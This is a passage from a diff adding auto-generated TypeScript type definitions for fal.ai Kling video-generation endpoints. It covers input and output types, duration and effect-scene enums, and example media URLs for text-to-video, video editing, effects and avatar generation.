multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO3StandardTextToVideoShotTypeEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File31Bc4Ffe = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for O3 video generation endpoints. + * @type object + */ +export type OutputFalAiKlingVideoO3StandardTextToVideo = { + /** + * @description The generated video. + * @example {"file_size":13096952,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d04e2/idOb9V-Q9ujlggPSKqsfS_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File31Bc4Ffe +} + +export type InputFalAiKlingVideoO3StandardVideoToVideoEdit = { + /** + * @description Whether to keep the original audio from the reference video. + * @default true + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats, 3-15s duration, 720-3840px resolution, max 200MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-edit/standard_video_reference.mp4 + * @type string + */ + video_url: string + /** + * @description Text prompt for video generation. Reference video as @Video1. + * @maxLength 2500 + * @example change the main character to be Popeye from @Element1, dark lighting and rain, 3d character. make him sad, with rain dropping on him, dark light on the character. + * @type string + */ + prompt: string + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-edit/standard_element1_reference1.jpg"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-edit/element1_front.jpg"}] + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example null + */ + image_urls?: string[] | null + /** + * @description The type of multi-shot video generation. + * @default 'customize' + * @type string | undefined + */ + shot_type?: 'customize' + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File8C8C6Ead = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3StandardVideoToVideoEdit = { + /** + * @description The generated video. + * @example {"file_size":4322769,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-o3/standard-v2v-edit/output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File8C8C6Ead +} + +export const inputFalAiKlingVideoO3StandardVideoToVideoReferenceDuration = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO3StandardVideoToVideoReferenceDurationKey = + (typeof inputFalAiKlingVideoO3StandardVideoToVideoReferenceDuration)[keyof typeof inputFalAiKlingVideoO3StandardVideoToVideoReferenceDuration] + +export const inputFalAiKlingVideoO3StandardVideoToVideoReferenceAspectRatioEnum = + { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + } as const + +export type InputFalAiKlingVideoO3StandardVideoToVideoReferenceAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO3StandardVideoToVideoReferenceAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO3StandardVideoToVideoReferenceAspectRatioEnum] + +export type InputFalAiKlingVideoO3StandardVideoToVideoReference = { + /** + * @description Whether to keep the original audio from the reference video. + * @default true + * @example false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats, 3-15s duration, 720-3840px resolution, max 200MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-reference/video_reference.mp4 + * @type string + */ + video_url: string + /** + * @description Video duration in seconds (3-15s for reference video). + * @example 5 + */ + duration?: InputFalAiKlingVideoO3StandardVideoToVideoReferenceDurationKey | null + /** + * @description Aspect ratio. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO3StandardVideoToVideoReferenceAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-reference/element1_reference1.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-reference/element1_front.png"},{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-reference/element2_reference1.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-o3/standard-v2v-reference/element2_front.png"}] + */ + elements?: KlingV3ImageElementInput[] | null + /** + * @description The type of multi-shot video generation. + * @default 'customize' + * @type string | undefined + */ + shot_type?: 'customize' + /** + * @description Text prompt for video generation. Reference video as @Video1. + * @maxLength 2500 + * @example Replace both character with @Element1 and @Element2 + * @type string + */ + prompt: string + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example null + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File237E8060 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO3StandardVideoToVideoReference = { + /** + * @description The generated video. + * @example {"file_size":7992288,"content_type":"video/mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/kling-o3/standard-v2v-reference/output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File237E8060 +} + +export const inputFalAiKlingVideoV15ProEffectsDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV15ProEffectsDurationEnumKey = + (typeof inputFalAiKlingVideoV15ProEffectsDurationEnum)[keyof typeof inputFalAiKlingVideoV15ProEffectsDurationEnum] + +export const inputFalAiKlingVideoV15ProEffectsEffectSceneEnum = { + bullet_time_360: 'bullet_time_360', + swish_swish: 'swish_swish', + running_man: 'running_man', + swing_swing: 'swing_swing', + building_sweater: 'building_sweater', + pure_white_wings: 'pure_white_wings', + black_wings: 'black_wings', + golden_wing: 'golden_wing', + pink_pink_wings: 'pink_pink_wings', + countdown_teleport: 'countdown_teleport', + instant_christmas: 'instant_christmas', + birthday_star: 'birthday_star', + tiger_hug_pro: 'tiger_hug_pro', + pet_lion_pro: 'pet_lion_pro', + drunk_dance: 'drunk_dance', + drunk_dance_pet: 'drunk_dance_pet', + daoma_dance: 'daoma_dance', + bouncy_dance: 'bouncy_dance', + smooth_sailing_dance: 'smooth_sailing_dance', + new_year_greeting: 'new_year_greeting', + lion_dance: 'lion_dance', + prosperity: 'prosperity', + great_success: 'great_success', + golden_horse_fortune: 'golden_horse_fortune', + red_packet_box: 'red_packet_box', + lucky_horse_year: 'lucky_horse_year', + lucky_red_packet: 'lucky_red_packet', + lucky_money_come: 'lucky_money_come', + lion_dance_pet: 'lion_dance_pet', + dumpling_making_pet: 'dumpling_making_pet', + fish_making_pet: 'fish_making_pet', + pet_red_packet: 'pet_red_packet', + lantern_glow: 'lantern_glow', + expression_challenge: 'expression_challenge', + overdrive: 'overdrive', + heart_gesture_dance: 'heart_gesture_dance', + poping: 'poping', + martial_arts: 'martial_arts', + running: 'running', + nezha: 'nezha', + motorcycle_dance: 'motorcycle_dance', + subject_3_dance: 'subject_3_dance', + ghost_step_dance: 'ghost_step_dance', + phantom_jewel: 'phantom_jewel', + zoom_out: 'zoom_out', + cheers_2026: 'cheers_2026', + kiss_pro: 'kiss_pro', + fight_pro: 'fight_pro', + hug_pro: 'hug_pro', + heart_gesture_pro: 'heart_gesture_pro', + dollar_rain_pro: 'dollar_rain_pro', + pet_bee_pro: 'pet_bee_pro', + santa_random_surprise: 'santa_random_surprise', + magic_match_tree: 'magic_match_tree', + happy_birthday: 'happy_birthday', + thumbs_up_pro: 'thumbs_up_pro', + surprise_bouquet: 'surprise_bouquet', + bouquet_drop: 'bouquet_drop', + glamour_photo_shoot: 'glamour_photo_shoot', + box_of_joy: 'box_of_joy', + first_toast_of_the_year: 'first_toast_of_the_year', + my_santa_pic: 'my_santa_pic', + santa_gift: 'santa_gift', + steampunk_christmas: 'steampunk_christmas', + snowglobe: 'snowglobe', + christmas_photo_shoot: 'christmas_photo_shoot', + ornament_crash: 'ornament_crash', + santa_express: 'santa_express', + coronation_of_frost: 'coronation_of_frost', + spark_in_the_snow: 'spark_in_the_snow', + scarlet_and_snow: 'scarlet_and_snow', + bullet_time_lite: 'bullet_time_lite', + jumping_ginger_joy: 'jumping_ginger_joy', + venomous_spider: 'venomous_spider', + throne_of_king: 'throne_of_king', + luminous_elf: 'luminous_elf', + woodland_elf: 'woodland_elf', + snowboarding: 'snowboarding', + witch_transform: 'witch_transform', + vampire_transform: 'vampire_transform', + pumpkin_head_transform: 'pumpkin_head_transform', + demon_transform: 'demon_transform', + mummy_transform: 'mummy_transform', + zombie_transform: 'zombie_transform', + cute_pumpkin_transform: 'cute_pumpkin_transform', + halloween_escape: 'halloween_escape', + korean_baseball: 'korean_baseball', + girlfriend: 'girlfriend', + boyfriend: 'boyfriend', + splashsplash: 'splashsplash', +} as const + +export type InputFalAiKlingVideoV15ProEffectsEffectSceneEnumKey = + (typeof inputFalAiKlingVideoV15ProEffectsEffectSceneEnum)[keyof typeof inputFalAiKlingVideoV15ProEffectsEffectSceneEnum] + +export type InputFalAiKlingVideoV15ProEffects = { + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV15ProEffectsDurationEnumKey + /** + * @description Image URLs for the effect. Every effect requires exactly one image. + * @example ["https://storage.googleapis.com/falserverless/juggernaut_examples/VHXMavzPyI27zi6JseyL4.png"] + * @type array | undefined + */ + input_image_urls?: string[] + /** + * @description The effect scene to use. + * @example swish_swish + * @type string + */ + effect_scene: InputFalAiKlingVideoV15ProEffectsEffectSceneEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileE98730E1 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV15ProEffects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/kling/kling_ex.mp4.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileE98730E1 +} + +export const inputFalAiKlingVideoV16ProEffectsDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV16ProEffectsDurationEnumKey = + (typeof inputFalAiKlingVideoV16ProEffectsDurationEnum)[keyof typeof inputFalAiKlingVideoV16ProEffectsDurationEnum] + +export const inputFalAiKlingVideoV16ProEffectsEffectSceneEnum = { + bullet_time_360: 'bullet_time_360', + swish_swish: 'swish_swish', + running_man: 'running_man', + swing_swing: 'swing_swing', + building_sweater: 'building_sweater', + pure_white_wings: 'pure_white_wings', + black_wings: 'black_wings', + golden_wing: 'golden_wing', + pink_pink_wings: 'pink_pink_wings', + countdown_teleport: 'countdown_teleport', + instant_christmas: 'instant_christmas', + birthday_star: 'birthday_star', + tiger_hug_pro: 'tiger_hug_pro', + pet_lion_pro: 'pet_lion_pro', + drunk_dance: 'drunk_dance', + drunk_dance_pet: 'drunk_dance_pet', + daoma_dance: 'daoma_dance', + bouncy_dance: 'bouncy_dance', + smooth_sailing_dance: 'smooth_sailing_dance', + new_year_greeting: 'new_year_greeting', + lion_dance: 'lion_dance', + prosperity: 'prosperity', + great_success: 'great_success', + golden_horse_fortune: 'golden_horse_fortune', + red_packet_box: 'red_packet_box', + lucky_horse_year: 'lucky_horse_year', + lucky_red_packet: 'lucky_red_packet', + lucky_money_come: 'lucky_money_come', + lion_dance_pet: 'lion_dance_pet', + dumpling_making_pet: 'dumpling_making_pet', + fish_making_pet: 'fish_making_pet', + pet_red_packet: 'pet_red_packet', + lantern_glow: 'lantern_glow', + expression_challenge: 'expression_challenge', + overdrive: 'overdrive', + heart_gesture_dance: 'heart_gesture_dance', + poping: 'poping', + martial_arts: 'martial_arts', + running: 'running', + nezha: 'nezha', + motorcycle_dance: 'motorcycle_dance', + subject_3_dance: 'subject_3_dance', + ghost_step_dance: 'ghost_step_dance', + phantom_jewel: 'phantom_jewel', + zoom_out: 'zoom_out', + cheers_2026: 'cheers_2026', + kiss_pro: 'kiss_pro', + fight_pro: 'fight_pro', + hug_pro: 'hug_pro', + heart_gesture_pro: 'heart_gesture_pro', + dollar_rain_pro: 'dollar_rain_pro', + pet_bee_pro: 'pet_bee_pro', + santa_random_surprise: 'santa_random_surprise', + magic_match_tree: 'magic_match_tree', + happy_birthday: 'happy_birthday', + thumbs_up_pro: 'thumbs_up_pro', + surprise_bouquet: 'surprise_bouquet', + bouquet_drop: 'bouquet_drop', + glamour_photo_shoot: 'glamour_photo_shoot', + box_of_joy: 'box_of_joy', + first_toast_of_the_year: 'first_toast_of_the_year', + my_santa_pic: 'my_santa_pic', + santa_gift: 'santa_gift', + steampunk_christmas: 'steampunk_christmas', + snowglobe: 'snowglobe', + christmas_photo_shoot: 'christmas_photo_shoot', + ornament_crash: 'ornament_crash', + santa_express: 'santa_express', + coronation_of_frost: 'coronation_of_frost', + spark_in_the_snow: 'spark_in_the_snow', + scarlet_and_snow: 'scarlet_and_snow', + bullet_time_lite: 'bullet_time_lite', + jumping_ginger_joy: 'jumping_ginger_joy', + venomous_spider: 'venomous_spider', + throne_of_king: 'throne_of_king', + luminous_elf: 'luminous_elf', + woodland_elf: 'woodland_elf', + snowboarding: 'snowboarding', + witch_transform: 'witch_transform', + vampire_transform: 'vampire_transform', + pumpkin_head_transform: 'pumpkin_head_transform', + demon_transform: 'demon_transform', + mummy_transform: 'mummy_transform', + zombie_transform: 'zombie_transform', + cute_pumpkin_transform: 'cute_pumpkin_transform', + halloween_escape: 'halloween_escape', + korean_baseball: 'korean_baseball', + girlfriend: 'girlfriend', + boyfriend: 'boyfriend', + splashsplash: 'splashsplash', +} as const + +export type InputFalAiKlingVideoV16ProEffectsEffectSceneEnumKey = + (typeof inputFalAiKlingVideoV16ProEffectsEffectSceneEnum)[keyof typeof inputFalAiKlingVideoV16ProEffectsEffectSceneEnum] + +export type InputFalAiKlingVideoV16ProEffects = { + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV16ProEffectsDurationEnumKey + /** + * @description Image URLs for the effect. Every effect requires exactly one image. + * @example ["https://storage.googleapis.com/falserverless/juggernaut_examples/VHXMavzPyI27zi6JseyL4.png"] + * @type array | undefined + */ + input_image_urls?: string[] + /** + * @description The effect scene to use. + * @example swish_swish + * @type string + */ + effect_scene: InputFalAiKlingVideoV16ProEffectsEffectSceneEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File7Bb8F3A4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV16ProEffects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/kling/kling_ex.mp4.mp4","content_type":"video/mp4"} + * @type object + */ + video: File7Bb8F3A4 +} + +export const inputFalAiKlingVideoV16StandardEffectsDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV16StandardEffectsDurationEnumKey = + (typeof inputFalAiKlingVideoV16StandardEffectsDurationEnum)[keyof typeof inputFalAiKlingVideoV16StandardEffectsDurationEnum] + +export const inputFalAiKlingVideoV16StandardEffectsEffectSceneEnum = { + bullet_time_360: 'bullet_time_360', + swish_swish: 'swish_swish', + running_man: 'running_man', + swing_swing: 'swing_swing', + building_sweater: 'building_sweater', + pure_white_wings: 'pure_white_wings', + black_wings: 'black_wings', + golden_wing: 'golden_wing', + pink_pink_wings: 'pink_pink_wings', + countdown_teleport: 'countdown_teleport', + instant_christmas: 'instant_christmas', + birthday_star: 'birthday_star', + tiger_hug_pro: 'tiger_hug_pro', + pet_lion_pro: 'pet_lion_pro', + drunk_dance: 'drunk_dance', + drunk_dance_pet: 'drunk_dance_pet', + daoma_dance: 'daoma_dance', + bouncy_dance: 'bouncy_dance', + smooth_sailing_dance: 'smooth_sailing_dance', + new_year_greeting: 'new_year_greeting', + lion_dance: 'lion_dance', + prosperity: 'prosperity', + great_success: 'great_success', + golden_horse_fortune: 'golden_horse_fortune', + red_packet_box: 'red_packet_box', + lucky_horse_year: 'lucky_horse_year', + lucky_red_packet: 'lucky_red_packet', + lucky_money_come: 'lucky_money_come', + lion_dance_pet: 'lion_dance_pet', + dumpling_making_pet: 'dumpling_making_pet', + fish_making_pet: 'fish_making_pet', + pet_red_packet: 'pet_red_packet', + lantern_glow: 'lantern_glow', + expression_challenge: 'expression_challenge', + overdrive: 'overdrive', + heart_gesture_dance: 'heart_gesture_dance', + poping: 'poping', + martial_arts: 'martial_arts', + running: 'running', + nezha: 'nezha', + motorcycle_dance: 'motorcycle_dance', + subject_3_dance: 'subject_3_dance', + ghost_step_dance: 'ghost_step_dance', + phantom_jewel: 'phantom_jewel', + zoom_out: 'zoom_out', + cheers_2026: 'cheers_2026', + kiss_pro: 'kiss_pro', + fight_pro: 'fight_pro', + hug_pro: 'hug_pro', + heart_gesture_pro: 'heart_gesture_pro', + dollar_rain_pro: 'dollar_rain_pro', + pet_bee_pro: 'pet_bee_pro', + santa_random_surprise: 'santa_random_surprise', + magic_match_tree: 'magic_match_tree', + happy_birthday: 'happy_birthday', + thumbs_up_pro: 'thumbs_up_pro', + surprise_bouquet: 'surprise_bouquet', + bouquet_drop: 'bouquet_drop', + glamour_photo_shoot: 'glamour_photo_shoot', + box_of_joy: 'box_of_joy', + first_toast_of_the_year: 'first_toast_of_the_year', + my_santa_pic: 'my_santa_pic', + santa_gift: 'santa_gift', + steampunk_christmas: 'steampunk_christmas', + snowglobe: 'snowglobe', + christmas_photo_shoot: 'christmas_photo_shoot', + ornament_crash: 'ornament_crash', + santa_express: 'santa_express', + coronation_of_frost: 'coronation_of_frost', + spark_in_the_snow: 'spark_in_the_snow', + scarlet_and_snow: 'scarlet_and_snow', + bullet_time_lite: 'bullet_time_lite', + jumping_ginger_joy: 'jumping_ginger_joy', + venomous_spider: 'venomous_spider', + throne_of_king: 'throne_of_king', + luminous_elf: 'luminous_elf', + woodland_elf: 'woodland_elf', + snowboarding: 'snowboarding', + witch_transform: 'witch_transform', + vampire_transform: 'vampire_transform', + pumpkin_head_transform: 'pumpkin_head_transform', + demon_transform: 'demon_transform', + mummy_transform: 'mummy_transform', + zombie_transform: 'zombie_transform', + cute_pumpkin_transform: 'cute_pumpkin_transform', + halloween_escape: 'halloween_escape', + korean_baseball: 'korean_baseball', + girlfriend: 'girlfriend', + boyfriend: 'boyfriend', + splashsplash: 'splashsplash', +} as const + +export type InputFalAiKlingVideoV16StandardEffectsEffectSceneEnumKey = + (typeof inputFalAiKlingVideoV16StandardEffectsEffectSceneEnum)[keyof typeof inputFalAiKlingVideoV16StandardEffectsEffectSceneEnum] + +export type InputFalAiKlingVideoV16StandardEffects = { + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV16StandardEffectsDurationEnumKey + /** + * @description Image URLs for the effect. Every effect requires exactly one image. + * @example ["https://storage.googleapis.com/falserverless/juggernaut_examples/VHXMavzPyI27zi6JseyL4.png"] + * @type array | undefined + */ + input_image_urls?: string[] + /** + * @description The effect scene to use. + * @example swish_swish + * @type string + */ + effect_scene: InputFalAiKlingVideoV16StandardEffectsEffectSceneEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileCdb8C914 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV16StandardEffects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/kling/kling_ex.mp4.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileCdb8C914 +} + +export type InputFalAiKlingVideoV1ProAiAvatar = { + /** + * @description The URL of the audio file. + * @example https://v3.fal.media/files/rabbit/9_0ZG_geiWjZOmn9yscO6_output.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to use as your avatar + * @example https://storage.googleapis.com/falserverless/example_inputs/kling_ai_avatar_input.jpg + * @type string + */ + image_url: string + /** + * @description The prompt to use for the video generation. + * @default '.' + * @type string | undefined + */ + prompt?: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA6Cf2D36 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV1ProAiAvatar = { + /** + * @description Duration of the output video in seconds. + * @type number + */ + duration: number + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/penguin/ln3x7H1p1jL0Pwo7675NI_output.mp4"} + * @type object + */ + video: FileA6Cf2D36 +} + +export type InputFalAiKlingVideoV1StandardAiAvatar = { + /** + * @description The URL of the audio file. + * @example https://v3.fal.media/files/rabbit/9_0ZG_geiWjZOmn9yscO6_output.mp3 + * @type string + */ + audio_url: string + /** + * @description The URL of the image to use as your avatar + * @example https://storage.googleapis.com/falserverless/example_inputs/kling_ai_avatar_input.jpg + * @type string + */ + image_url: string + /** + * @description The prompt to use for the video generation. + * @default '.' + * @type string | undefined + */ + prompt?: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File8B03Cd46 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV1StandardAiAvatar = { + /** + * @description Duration of the output video in seconds. + * @type number + */ + duration: number + /** + * @description The generated video + * @example {"url":"https://v3.fal.media/files/penguin/ln3x7H1p1jL0Pwo7675NI_output.mp4"} + * @type object + */ + video: File8B03Cd46 +} + +export const inputFalAiKlingVideoV1StandardEffectsDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type InputFalAiKlingVideoV1StandardEffectsDurationEnumKey = + (typeof inputFalAiKlingVideoV1StandardEffectsDurationEnum)[keyof typeof inputFalAiKlingVideoV1StandardEffectsDurationEnum] + +export const inputFalAiKlingVideoV1StandardEffectsEffectSceneEnum = { + bullet_time_360: 'bullet_time_360', + swish_swish: 'swish_swish', + running_man: 'running_man', + swing_swing: 'swing_swing', + building_sweater: 'building_sweater', + pure_white_wings: 'pure_white_wings', + black_wings: 'black_wings', + golden_wing: 'golden_wing', + pink_pink_wings: 'pink_pink_wings', + countdown_teleport: 'countdown_teleport', + instant_christmas: 'instant_christmas', + birthday_star: 'birthday_star', + tiger_hug_pro: 'tiger_hug_pro', + pet_lion_pro: 'pet_lion_pro', + drunk_dance: 'drunk_dance', + drunk_dance_pet: 'drunk_dance_pet', + daoma_dance: 'daoma_dance', + bouncy_dance: 'bouncy_dance', + smooth_sailing_dance: 'smooth_sailing_dance', + new_year_greeting: 'new_year_greeting', + lion_dance: 'lion_dance', + prosperity: 'prosperity', + great_success: 'great_success', + golden_horse_fortune: 'golden_horse_fortune', + red_packet_box: 'red_packet_box', + lucky_horse_year: 'lucky_horse_year', + lucky_red_packet: 'lucky_red_packet', + lucky_money_come: 'lucky_money_come', + lion_dance_pet: 'lion_dance_pet', + dumpling_making_pet: 'dumpling_making_pet', + fish_making_pet: 'fish_making_pet', + pet_red_packet: 'pet_red_packet', + lantern_glow: 'lantern_glow', + expression_challenge: 'expression_challenge', + overdrive: 'overdrive', + heart_gesture_dance: 'heart_gesture_dance', + poping: 'poping', + martial_arts: 'martial_arts', + running: 'running', + nezha: 'nezha', + motorcycle_dance: 'motorcycle_dance', + subject_3_dance: 'subject_3_dance', + ghost_step_dance: 'ghost_step_dance', + phantom_jewel: 'phantom_jewel', + zoom_out: 'zoom_out', + cheers_2026: 'cheers_2026', + kiss_pro: 'kiss_pro', + fight_pro: 'fight_pro', + hug_pro: 'hug_pro', + heart_gesture_pro: 'heart_gesture_pro', + dollar_rain_pro: 'dollar_rain_pro', + pet_bee_pro: 'pet_bee_pro', + santa_random_surprise: 'santa_random_surprise', + magic_match_tree: 'magic_match_tree', + happy_birthday: 'happy_birthday', + thumbs_up_pro: 'thumbs_up_pro', + surprise_bouquet: 'surprise_bouquet', + bouquet_drop: 'bouquet_drop', + glamour_photo_shoot: 'glamour_photo_shoot', + box_of_joy: 'box_of_joy', + first_toast_of_the_year: 'first_toast_of_the_year', + my_santa_pic: 'my_santa_pic', + santa_gift: 'santa_gift', + steampunk_christmas: 'steampunk_christmas', + snowglobe: 'snowglobe', + christmas_photo_shoot: 'christmas_photo_shoot', + ornament_crash: 'ornament_crash', + santa_express: 'santa_express', + coronation_of_frost: 'coronation_of_frost', + spark_in_the_snow: 'spark_in_the_snow', + scarlet_and_snow: 'scarlet_and_snow', + bullet_time_lite: 'bullet_time_lite', + jumping_ginger_joy: 'jumping_ginger_joy', + venomous_spider: 'venomous_spider', + throne_of_king: 'throne_of_king', + luminous_elf: 'luminous_elf', + woodland_elf: 'woodland_elf', + snowboarding: 'snowboarding', + witch_transform: 'witch_transform', + vampire_transform: 'vampire_transform', + pumpkin_head_transform: 'pumpkin_head_transform', + demon_transform: 'demon_transform', + mummy_transform: 'mummy_transform', + zombie_transform: 'zombie_transform', + cute_pumpkin_transform: 'cute_pumpkin_transform', + halloween_escape: 'halloween_escape', + korean_baseball: 'korean_baseball', + girlfriend: 'girlfriend', + boyfriend: 'boyfriend', + splashsplash: 'splashsplash', +} as const + +export type InputFalAiKlingVideoV1StandardEffectsEffectSceneEnumKey = + (typeof inputFalAiKlingVideoV1StandardEffectsEffectSceneEnum)[keyof typeof inputFalAiKlingVideoV1StandardEffectsEffectSceneEnum] + +export type InputFalAiKlingVideoV1StandardEffects = { + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoV1StandardEffectsDurationEnumKey + /** + * @description Image URLs for the effect. Every effect requires exactly one image. + * @example ["https://storage.googleapis.com/falserverless/juggernaut_examples/VHXMavzPyI27zi6JseyL4.png"] + * @type array | undefined + */ + input_image_urls?: string[] + /** + * @description The effect scene to use. + * @example swish_swish + * @type string + */ + effect_scene: InputFalAiKlingVideoV1StandardEffectsEffectSceneEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA4E4Bb48 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoV1StandardEffects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","url":"https://storage.googleapis.com/falserverless/kling/kling_ex.mp4.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileA4E4Bb48 +} + +export const inputFalAiKlingVideoV25TurboProImageToVideoDurationEnum = { + '5': '5', + '10': '10', +} as const + +export type 